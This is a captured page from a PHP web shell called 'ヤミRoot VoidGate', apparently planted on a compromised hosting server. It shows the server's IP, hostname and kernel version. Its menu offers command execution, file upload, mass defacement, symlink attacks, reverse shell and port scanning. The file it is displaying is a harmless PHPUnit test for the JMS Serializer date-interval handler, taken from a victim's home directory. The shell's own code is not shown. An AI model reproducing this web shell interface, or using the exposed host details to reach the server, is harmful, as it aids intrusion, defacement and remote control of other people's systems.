ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
jms
/
serializer
/
tests
/
Serializer
/
Viewing: DateIntervalFormatTest.php
<?php namespace JMS\Serializer\Tests\Serializer; use JMS\Serializer\Handler\DateHandler; class DateIntervalFormatTest extends \PHPUnit_Framework_TestCase { public function testFormat() { $dtf = new DateHandler(); $iso8601DateIntervalString = $dtf->format(new \DateInterval('P0D')); $this->assertEquals($iso8601DateIntervalString, 'P0DT0S'); $iso8601DateIntervalString = $dtf->format(new \DateInterval('P0DT0S')); $this->assertEquals($iso8601DateIntervalString, 'P0DT0S'); $iso8601DateIntervalString = $dtf->format(new \DateInterval('PT45M')); $this->assertEquals($iso8601DateIntervalString, 'PT45M'); $iso8601DateIntervalString = $dtf->format(new \DateInterval('P2YT45M')); $this->assertEquals($iso8601DateIntervalString, 'P2YT45M'); $iso8601DateIntervalString = $dtf->format(new \DateInterval('P2Y4DT6H8M16S')); $this->assertEquals($iso8601DateIntervalString, 'P2Y4DT6H8M16S'); } }
Coded With 💗 by
0x6ick